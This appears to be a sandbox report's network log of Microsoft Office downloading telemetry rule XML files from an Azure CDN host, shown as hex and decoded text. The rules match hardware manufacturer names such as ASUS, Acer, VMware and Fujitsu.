2024-11-12 14:42:03 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:04 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:04 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 30929569-101e-008d-79ff-2c92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144204Z-16547b76f7fp6mhthC1DFWrggn0000000ftg00000000gdkb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:04 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:04 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:04 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 09da145b-201e-0033-5108-32b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144204Z-16547b76f7fkj7j4hC1DFW0a9g0000000fp000000000gns7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:04 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:04 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:04 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: def873b9-d01e-0065-46f7-2cb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144204Z-16547b76f7f2g4rlhC1DFWnx880000000fr00000000083gd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:04 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:04 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:05 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: a5c20e25-701e-0050-1ca1-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144205Z-15869dbbcc6j87jfhC1DFWr0yc000000086g000000001eew x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:05 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:04 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:04 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 99102dbc-c01e-0066-43c1-2ca1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144204Z-16547b76f7fr4g8xhC1DFW9cqc0000000eug00000000hx3e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:05 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	49780	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:04 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: a7fdf51b-501e-0035-02a2-34c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144205Z-15869dbbcc6lq45jhC1DFWtecs00000001kg00000000414k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	49784	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:05 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:05 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 94736f86-d01e-0082-21a1-34e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144205Z-17df447cdb56j5xmhC1DFWn9180000000cb0000000001xz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:05 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	49785	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:05 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: cc46dee9-d01e-007a-0efd-2cf38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144205Z-16547b76f7fm7xw6hC1DFW5px40000000fng00000000ebmf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:06 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:06 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:06 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 75035ba1-b01e-005c-42fb-2c4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144206Z-16547b76f7f775p5hC1DFWzdvn0000000fp000000000h03s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:06 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:06 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:06 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 7dbe6cd5-601e-00ab-1ca2-3466f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144206Z-17df447cdb5vq4m4hC1DFW2t8w00000001gg00000000066a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:06 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:06 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 14:42:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 14:42:06 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 63ea3643-901e-0015-3101-2db284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T144206Z-16547b76f7f7jnp2hC1DFWfc300000000frg00000000g344 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 14:42:06 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 14:42:07 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
